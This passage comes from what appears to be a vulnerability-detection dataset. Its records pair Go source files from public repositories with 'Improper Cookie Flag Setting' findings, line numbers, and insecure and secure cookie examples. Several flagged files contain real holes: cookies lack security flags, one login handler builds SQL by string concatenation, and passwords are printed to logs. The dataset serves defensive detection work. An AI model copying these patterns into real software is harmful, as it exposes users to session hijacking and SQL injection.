err.Error())\n\t}\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tclock.SetTime(clock.Now().Add(time.Hour * 25))\n\ttime.Sleep(100 * time.Millisecond)\n\n\tif n := sess.All(); n != 0 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 0)\n\t}\n\n}\n\nfunc TestMemSession(t *testing.T) {\n\tvar (\n\t\tsess SessionManager\n\t\tstore Session\n\t\terr error\n\t\tsid string\n\t)\n\n\tcf := &Config{\n\t\tStorage: \"mem\",\n\t\tCookieName: \"test_sid\",\n\t\tSidLength: 24,\n\t\tHttpOnly: true,\n\t\tDomain: \"\",\n\t\tDsn: dsn,\n\t\tgcInterval: time.Minute,\n\t\tcookieLifetime: 24 * time.Hour,\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\n\tif sess, err = StartSession(cf, WithCtx(ctx)); err != nil {\n\t\tt.Fatalf(\"error NewSession: %s\", err.Error())\n\t}\n\tdefer cancel()\n\n\tr, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw := httptest.NewRecorder()\n\n\tif store, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", err.Error())\n\t}\n\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tstore.Set(\"abc\", \"11223344\")\n\tif err = store.Update(w); err != nil {\n\t\tt.Fatalf(\"store.Update(w) got err %s \", err.Error())\n\t}\n\tsid = store.Sid()\n\n\t// new request\n\tr, _ = http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw = httptest.NewRecorder()\n\n\tcookie := &http.Cookie{\n\t\tName: cf.CookieName,\n\t\tValue: url.QueryEscape(sid),\n\t\tPath: \"/\",\n\t\tHttpOnly: cf.HttpOnly,\n\t\tDomain: cf.Domain,\n\t}\n\tif cf.CookieLifetime > 0 {\n\t\tcookie.Expires = time.Now().Add(cf.cookieLifetime)\n\t}\n\thttp.SetCookie(w, cookie)\n\tr.AddCookie(cookie)\n\tif store, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", err.Error())\n\t}\n\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tif v := store.Get(\"abc\"); v != \"11223344\" {\n\t\tt.Fatalf(\"store.Get('abc') got %s want %s\", v, \"11223344\")\n\t}\n\n\tstore.Set(\"abc\", \"22334455\")\n\n\tif v := store.Get(\"abc\"); v != \"22334455\" {\n\t\tt.Fatalf(\"store.Get('abc') got %s want %s\", v, \"22334455\")\n\t}\n\n\tsess.Destroy(w, r)\n\tif n := sess.All(); n != 0 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 0)\n\t}\n\n}\n\nfunc TestMemSessionGC(t *testing.T) {\n\tvar (\n\t\tsess SessionManager\n\t\terr error\n\t)\n\n\tcf := &Config{\n\t\tStorage: \"mem\",\n\t\tCookieName: \"test_sid\",\n\t\tSidLength: 24,\n\t\tHttpOnly: true,\n\t\tDomain: \"\",\n\t\tDsn: dsn,\n\t\tgcInterval: time.Second,\n\t\tcookieLifetime: 24 * time.Hour,\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tclock := &clock.FakeClock{}\n\tclock.SetTime(time.Now())\n\n\tif sess, err = StartSession(cf, WithCtx(ctx), WithClock(clock)); err != nil {\n\t\tt.Fatalf(\"error NewSession: %s\", err.Error())\n\t}\n\tdefer cancel()\n\n\tr, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer([]byte{}))\n\tw := httptest.NewRecorder()\n\n\tif _, err = sess.Start(w, r); err != nil {\n\t\tt.Fatalf(\"session.Start(): %s\", err.Error())\n\t}\n\tif n := sess.All(); n != 1 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 1)\n\t}\n\n\tclock.SetTime(clock.Now().Add(time.Hour * 25))\n\ttime.Sleep(100 * time.Millisecond)\n\n\tif n := sess.All(); n != 0 {\n\t\tt.Fatalf(\"sess.All() got %d want %d\", n, 0)\n\t}\n\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 112, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "4a5523751e8407d4b268757e65ffeb1fe9d2be087c140abde967470b9a34dd11", "license": {"spdx": ["MIT"], "repo": "karantin2020/jwt-auth", "path": "jwt/store.go", "repo_head_hexsha": "0de117c78a49cb41a5c56ffd4ecb0feabe323a71", "stack_hexsha": "5cb0df1e9d8a520c9621f2972f0f661a823807da", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 75, "entireCode": "package jwt\n\nimport (\n\t// \"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\tjose \"gopkg.in/square/go-jose.v2\"\n\tjwt \"gopkg.in/square/go-jose.v2/jwt\"\n)\n\nvar (\n\tNoJWTCookie = errors.New(\"No JWT cookie found\")\n\tInternalServerError = errors.New(\"Internal Server Error\")\n)\n\n// store represents the session storage used for JWT tokens.\ntype store interface {\n\t// Get returns the real JWT token from the store.\n\tGet(*http.Request) ([]byte, error)\n\t// Save stores the real JWT token in the store and writes a\n\t// cookie to the http.ResponseWriter.\n\t// For non-cookie stores, the cookie should contain a unique (256 bit) ID\n\t// or key that references the token in the backend store.\n\t// JWT.GenerateRandomBytes is a helper function for generating secure IDs.\n\tSave(token []byte, w http.ResponseWriter) error\n}\n\n// cookieStore is a signed cookie session store for JWT tokens.\ntype cookieStore struct {\n\tname string\n\tmaxAge int\n\tsecure bool\n\thttpOnly bool\n\tpath string\n\tdomain string\n}\n\n// Get retrieves a JWT token from the session cookie. It returns an empty token\n// if decoding fails (e.g. HMAC validation fails or the named cookie doesn't exist).\nfunc (cs *cookieStore) Get(r *http.Request) (string, error) {\n\t// Retrieve the cookie from the request\n\tcookie, err := r.Cookie(cs.name)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn cookie.Value, nil\n}\n\n// Save stores the JWT token in the session cookie.\nfunc (cs cookieStore) Save(token string, w http.ResponseWriter) error {\n\t// Generate an encoded cookie value with the JWT token.\n\tcookie := &http.Cookie{\n\t\tName: cs.name,\n\t\tValue: token,\n\t\tMaxAge: cs.maxAge,\n\t\tHttpOnly: cs.httpOnly,\n\t\tSecure: cs.secure,\n\t\tPath: cs.path,\n\t\tDomain: cs.domain,\n\t}\n\n\t// Set the Expires field on the cookie based on the MaxAge\n\t// If MaxAge <= 0, we don't set the Expires attribute, making the cookie\n\t// session-only.\n\tif cs.maxAge > 0 {\n\t\tcookie.Expires = time.Now().Add(\n\t\t\ttime.Duration(cs.maxAge) * time.Second)\n\t}\n\n\t// Write the authenticated cookie to the response.\n\thttp.SetCookie(w, cookie)\n\n\t// Set the Vary: Cookie header to protect clients from caching the response.\n\tw.Header().Add(\"Vary\", \"Cookie\")\n\n\treturn nil\n}\n\n// headerStore is used to store JWT tokens in request/response header.\ntype headerStore struct {\n\tname string\n\tmaxAge int\n}\n\n// Get retrieves a JWT token from request header\nfunc (hs *headerStore) Get(r *http.Request) (string, error) {\n\t// Retrieve token from the request\n\treturn r.Header.Get(hs.name), nil\n}\n\n// Save stores the JWT token in response header\nfunc (hs headerStore) Save(token string, w http.ResponseWriter) error {\n\tsetHeader(w, hs.name, token)\n\treturn nil\n}\n\ntype claimStore interface {\n\tGet(r *http.Request) (*ClaimsType, error)\n\tSave(c *ClaimsType, w http.ResponseWriter) error\n}\n\n// jwtStore is used to store JWT tokens in request/response header.\ntype jwtStore struct {\n\tbearerTokens bool\n\ttokenName string\n\tencrypt bool\n\tsigner jose.Signer\n\tencrypter jose.Encrypter\n\tsigningMethodString string\n\tencryptMethodString string\n\tsignKey interface{}\n\tverifyKey interface{}\n\tencryptKey interface{}\n\tdecryptKey interface{}\n\t// revokeToken func(tokenId string) error\n\tcookieStore\n}\n\nfunc NewJWTStore(o *Options, tokName string, tokType int, enc bool) (*jwtStore, error) {\n\tout := &jwtStore{\n\t\tbearerTokens: o.BearerTokens,\n\t\ttokenName: tokName,\n\t\tencrypt: enc,\n\t\tsigningMethodString: o.SigningMethodString,\n\t\tsignKey: o.SignKey,\n\t\tverifyKey: o.VerifyKey,\n\t\t// revokeToken: defaultTokenRevoker,\n\t}\n\tif !o.BearerTokens {\n\t\tout.cookieStore = cookieStore{\n\t\t\tname: tokName,\n\t\t\tsecure: !o.IsDevEnv,\n\t\t\thttpOnly: true,\n\t\t\tpath: o.Path,\n\t\t\tdomain: o.Domain,\n\t\t}\n\t\tif tokType == AuthToken {\n\t\t\tout.cookieStore.maxAge = int(o.AuthTokenValidTime)\n\t\t\tout.cookieStore.httpOnly = o.AuthCookieForJS\n\t\t} else {\n\t\t\tout.cookieStore.maxAge = int(o.RefreshTokenValidTime)\n\t\t}\n\t}\n\t// if enc {\n\tout.encryptMethodString = o.EncryptMethodString\n\tout.encryptKey = o.EncryptKey\n\tout.decryptKey = o.DecryptKey\n\t// }\n\terr := initJWTStore(out)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Error init jwtStore \"+tokName)\n\t}\n\treturn out, nil\n}\n\nfunc initJWTStore(js *jwtStore) error {\n\tif js.signingMethodString == \"\" || js.signKey == nil ||\n\t\t(js.encrypt && js.encryptMethodString == \"\") {\n\t\treturn errors.Wrapf(InternalServerError, \"jwtStore was not properly initiated: %#v %#v %#v\",\n\t\t\tjs.signingMethodString, js.signKey, js.encryptMethodString)\n\t}\n\n\tif !js.encrypt {\n\t\tsig, err := jose.NewSigner(jose.SigningKey{\n\t\t\tAlgorithm: jose.SignatureAlgorithm(js.signingMethodString),\n\t\t\tKey: js.signKey,\n\t\t}, (&jose.SignerOptions{}).WithType(\"JWT\"))\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Couldn't create new signer for jwt store\")\n\t\t}\n\t\tjs.signer = sig\n\t} else {\n\t\tenc, err := jose.NewEncrypter(\n\t\t\tjose.ContentEncryption(js.encryptMethodString),\n\t\t\tjose.Recipient{\n\t\t\t\tAlgorithm: jose.DIRECT,\n\t\t\t\tKey: js.encryptKey,\n\t\t\t},\n\t\t\t(&jose.EncrypterOptions{}).WithType(\"JWT\").WithContentType(\"JWT\"),\n\t\t)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Couldn't create new encrypter\")\n\t\t}\n\t\tjs.encrypter = enc\n\n\t\tsig, err := jose.NewSigner(jose.SigningKey{\n\t\t\tAlgorithm: jose.SignatureAlgorithm(js.signingMethodString),\n\t\t\tKey: js.signKey}, nil)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Couldn't create new signer for jwt store\")\n\t\t}\n\t\tjs.signer = sig\n\t}\n\n\treturn nil\n}\n\n// Get retrieves a JWT token from request header or cookie\nfunc (js jwtStore) Get(r *http.Request) (*ClaimsType, error) {\n\t// read header\n\tif js.bearerTokens {\n\t\treturn js.ParseJWT(r.Header.Get(js.tokenName))\n\t}\n\n\t// read cookies\n\tcookie, tokErr := r.Cookie(js.tokenName)\n\tif tokErr == http.ErrNoCookie {\n\t\treturn nil, NoJWTCookie\n\t} else if tokErr != nil {\n\t\treturn nil, errors.Wrap(tokErr, \"Error get JWT cookie\")\n\t}\n\n\treturn js.ParseJWT(cookie.Value)\n}\n\nfunc (js jwtStore) ParseJWT(tokenString string) (*ClaimsType, error) {\n\t// fmt.Printf(\"Token string in store get: %#v\\n\", tokenString)\n\tcl := ClaimsType{}\n\tif js.encrypt {\n\t\ttok, err := jwt.ParseSignedAndEncrypted(tokenString)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error parse encrypted JWT\")\n\t\t}\n\t\tnested, err := tok.Decrypt(js.decryptKey)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error decrypt encrypted JWT, invalid decrypt key\")\n\t\t}\n\n\t\tif err := nested.Claims(js.verifyKey, &cl); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error verify encrypted JWT, invalid verify key\")\n\t\t}\n\t} else {\n\t\ttok, err := jwt.ParseSigned(tokenString)\n\t\t// fmt.Printf(\"Token parsed in store get: %#v\\n\", tok)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error parse signed JWT\")\n\t\t}\n\n\t\tif err := tok.Claims(js.verifyKey, &cl); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error verify signed JWT, invalid verify key\")\n\t\t}\n\n\t}\n\treturn &cl, nil\n}\n\nfunc (js jwtStore) Encrypt(c *ClaimsType) (string, error) {\n\tif !js.encrypt {\n\t\treturn jwt.Signed(js.signer).Claims(c).CompactSerialize()\n\t}\n\treturn jwt.SignedAndEncrypted(js.signer, js.encrypter).Claims(c).CompactSerialize()\n}\n\n// Save stores the JWT token in response\nfunc (js jwtStore) Save(c *ClaimsType, w http.ResponseWriter) error {\n\ttoken, err := js.Encrypt(c)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error encrypt claims\")\n\t}\n\n\tif js.bearerTokens {\n\t\t// tokens are not in cookies\n\t\tsetHeader(w, js.tokenName, token)\n\t} else {\n\t\t// tokens are in cookies\n\t\t// note: don't use an \"Expires\" in auth cookies bc browsers won't send expired cookies?\n\t\tjs.cookieStore.Save(token, w)\n\t}\n\treturn nil\n}\n\nfunc (js jwtStore) Revoke(w http.ResponseWriter) error {\n\tsetHeader(w, js.tokenName, \"\")\n\tcookie := http.Cookie{\n\t\tName: js.tokenName,\n\t\tValue: \"\",\n\t\tExpires: time.Now().Add(-1000 * time.Hour),\n\t\tHttpOnly: true,\n\t\tSecure: true,\n\t\tPath: js.path,\n\t\tDomain: js.domain,\n\t}\n\thttp.SetCookie(w, &cookie)\n\n\treturn nil\n}\n\n// mixStore is used to store tokens in request/response header.\ntype mixStore struct {\n\tname string\n\theaderName string\n}\n\n// Get retrieves a token from request header\nfunc (ms mixStore) Get(r *http.Request) (string, error) {\n\t// Retrieve token from the request\n\ttokenString := r.Header.Get(ms.name)\n\tif tokenString != \"\" {\n\t\treturn unmaskString(tokenString), nil\n\t}\n\n\ttokenString = r.FormValue(ms.name)\n\tif tokenString != \"\" {\n\t\treturn unmaskString(tokenString), nil\n\t}\n\n\tauth := r.Header.Get(ms.headerName)\n\tif auth == \"\" {\n\t\treturn auth, errors.New(\"No mixStore string found in request\")\n\t}\n\ttokenString = strings.Replace(auth, \"Bearer\", \"\", 1)\n\ttokenString = strings.Replace(tokenString, \" \", \"\", -1)\n\tif tokenString == \"\" {\n\t\treturn tokenString, errors.New(\"No mixStore string found in request\")\n\t}\n\tbyteTokenString := unmask(tokenString)\n\tif byteTokenString == nil {\n\t\treturn \"\", errors.New(\"Invalid mixStore string in request\")\n\t}\n\n\treturn string(byteTokenString), nil\n}\n\n// Save stores the CSRF token in response header\nfunc (ms mixStore) Save(token string, w http.ResponseWriter) error {\n\t// msk := mask([]byte(token))\n\t// fmt.Println(string(msk))\n\tsetHeader(w, ms.name, mask([]byte(token)))\n\treturn nil\n}\n\nfunc setHeader(w http.ResponseWriter, header string, value string) {\n\tw.Header().Set(header, value)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 75, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "43d689e7ecbb1517ff3755fa65eaeac9069bf7ff18a4a83f782d837b71406bb2", "license": {"spdx": ["MIT"], "repo": "chickenPopcorn/backend_starter_kit", "path": "services/auth.go", "repo_head_hexsha": "7aefb34f7d4a28b0ad602fda460fb9cb066e2e5c", "stack_hexsha": "f45ed9f63e55c6cfae1b747753777e607c6b39f3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 94, "entireCode": "package services\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"../config\"\n\t. \"../models\"\n\tuuid \"github.com/satori/go.uuid\"\n\t\"golang.org/x/crypto/bcrypt\"\n)\n\n//Env used for code injection\ntype Env struct {\n\tDb *sql.DB\n\tSessions map[string]Session\n}\n\n//regUserInfo fetch user info from database\nfunc regUserInfo(userinfo User, db *sql.DB) error {\n\t// insert\n\tstmt, err := db.Prepare(\"INSERT userlogin SET username=?,password=?,firstname=?,lastname=?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres, err := stmt.Exec(userinfo.Username, userinfo.Password, userinfo.First, userinfo.Last)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tid, err := res.LastInsertId()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"inserted id is \", id)\n\n\treturn nil\n}\n\n//getUserInfo fetch user info from database\nfunc getUserInfo(username string, db *sql.DB) (*User, error) {\n\trows, err := db.Query(\"SELECT * FROM userlogin WHERE username='\" + username + \"'\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tuserInfo := new(User)\n\tfor rows.Next() {\n\t\terr := rows.Scan(&userInfo.Username, &userInfo.Password, &userInfo.First, &userInfo.Last)\n\t\tif err != nil {\n\t\t\tfmt.Println(46)\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err = rows.Err(); err != nil {\n\t\tfmt.Println(46)\n\t\treturn nil, err\n\t}\n\treturn userInfo, nil\n}\n\n//Login function handler\nfunc Login(env *config.Env) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter,\n\t\tr *http.Request) {\n\t\tif alreadyLoggedIn(w, r, env.Sessions) {\n\t\t\thttp.Error(w, http.StatusText(http.StatusSeeOther), http.StatusSeeOther)\n\t\t\treturn\n\t\t}\n\t\tusername := r.FormValue(\"username\")\n\t\tpassword := r.FormValue(\"password\")\n\n\t\tuserinfo, err := getUserInfo(username, env.DB)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, \"Username and/or password do not match\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\terr = bcrypt.CompareHashAndPassword(userinfo.Password, []byte(password))\n\t\tif err != nil {\n\t\t\thttp.Error(w, \"Username and/or password do not match\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tsID := uuid.NewV4()\n\t\tc := &http.Cookie{\n\t\t\tName: \"session\",\n\t\t\tValue: sID.String(),\n\t\t}\n\t\thttp.SetCookie(w, c)\n\t\tfmt.Println(\"cookie is \", c.Value)\n\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n}\n\n//Logout function handler\nfunc Logout(env *config.Env) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter,\n\t\tr *http.Request) {\n\t\tif !alreadyLoggedIn(w, r, env.Sessions) {\n\t\t\tfmt.Println(\"i'm hrere\")\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tc, _ := r.Cookie(\"session\")\n\t\tc = &http.Cookie{\n\t\t\tName: \"session\",\n\t\t\tValue: \"\",\n\t\t\tMaxAge: -1,\n\t\t}\n\t\thttp.SetCookie(w, c)\n\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n}\n\n//Reg function handler\nfunc Reg(env *config.Env) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter,\n\t\tr *http.Request) {\n\t\tif alreadyLoggedIn(w, r, env.Sessions) {\n\t\t\t//TODO change to properate message\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\t// get form values\n\t\tusername := r.FormValue(\"username\")\n\t\tpassword := r.FormValue(\"password\")\n\t\tfirstname := r.FormValue(\"firstname\")\n\t\tlastname := r.FormValue(\"lastname\")\n\t\tfmt.Printf(\"%v, %v, %v, %v\", username, password, firstname, lastname)\n\n\t\t// username taken?\n\t\tif _, err := getUserInfo(username, env.DB); err != nil {\n\t\t\tfmt.Println(151)\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tbs, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\t\tif err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t}\n\n\t\t// store user in dbUsers\n\t\tuserinfo := User{username, bs, firstname, lastname}\n\t\t// username taken?\n\t\tif err := regUserInfo(userinfo, env.DB); err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf(\"userinfo %v\", userinfo)\n\t\tfmt.Println(\"should return some status code and message\")\n\n\t\t// create session\n\t\tsID := uuid.NewV4()\n\t\tc := &http.Cookie{\n\t\t\tName: \"session\",\n\t\t\tValue: sID.String(),\n\t\t}\n\t\thttp.SetCookie(w, c)\n\t\tenv.Sessions[c.Value] = Session{username}\n\t}\n}\n\nfunc alreadyLoggedIn(w http.ResponseWriter, r *http.Request, dbSessions map[string]Session) bool {\n\tc, err := r.Cookie(\"session\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tsession, ok := dbSessions[c.Value]\n\tif ok {\n\t\tdbSessions[c.Value] = session\n\t}\n\n\t// c.MaxAge = sessionLength\n\t// http.SetCookie(w, c)\n\treturn ok\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 94, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "859c1c371f6b4da64683d9ec20e625b4e9b4d44c057934a540f303ede11d4299", "license": {"spdx": ["MIT"], "repo": "Jinxiapu/go-isso", "path": "isso/handler.go", "repo_head_hexsha": "640837579f46d8d2198225fc2b5c8c869a47f9b1", "stack_hexsha": "74763024c15dc2176f6b587e3120122d2ccac032", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 502, "entireCode": "package isso\n\nimport (\n\t\"context\"\n\t\"crypto/sha1\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/gorilla/schema\"\n\t\"wrong.wang/x/go-isso/extract\"\n\t\"wrong.wang/x/go-isso/response/json\"\n\t\"wrong.wang/x/go-isso/tool/bloomfilter\"\n\t\"wrong.wang/x/go-isso/tool/validator\"\n)\n\nconst maxlikeanddislikes = 142\n\n// CreateComment create a new comment\nfunc (isso *ISSO) CreateComment() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\trequestID := RequestIDFromContext(r.Context())\n\t\tcommentOrigin := FindOrigin(r)\n\t\tif commentOrigin == \"\" {\n\t\t\tjson.BadRequest(requestID, w, nil, \"can not find header origin\")\n\t\t\treturn\n\t\t}\n\t\tvar comment submittedComment\n\t\terr := jsonBind(r.Body, &comment)\n\t\tif err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, descRequestInvalidParm)\n\t\t\treturn\n\t\t}\n\n\t\tcomment.URI = mux.Vars(r)[\"uri\"]\n\t\tcomment.RemoteAddr = findClientIP(r)\n\t\tif err := validator.Validate(comment); err != nil {\n\t\t\tjson.BadRequest(requestID, w, err, fmt.Sprintf(\"comment validate failed: %s\", err.Error()))\n\t\t\treturn\n\t\t}\n\t\tif comment.Website != nil && (strings.HasPrefix(*comment.Website, \"https://\") || strings.HasPrefix(*comment.Website, \"http://\")) {\n\t\t\t*comment.Website = \"http://\" + *comment.Website\n\t\t}\n\n\t\tok, reason := isso.newCommentGuard(r.Context(), comment.Comment, comment.URI)\n\t\tif !ok {\n\t\t\tjson.Forbidden(requestID, w, nil, reason)\n\t\t}\n\n\t\tvar thread Thread\n\t\tthread, err = isso.storage.GetThreadByURI(r.Context(), comment.URI)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, ErrStorageNotFound) {\n\t\t\t\t// no thread realted to this uri\n\t\t\t\t// so create new thread\n\t\t\t\tif comment.Title == \"\" {\n\t\t\t\t\tctx, cancel := context.WithTimeout(r.Context(), 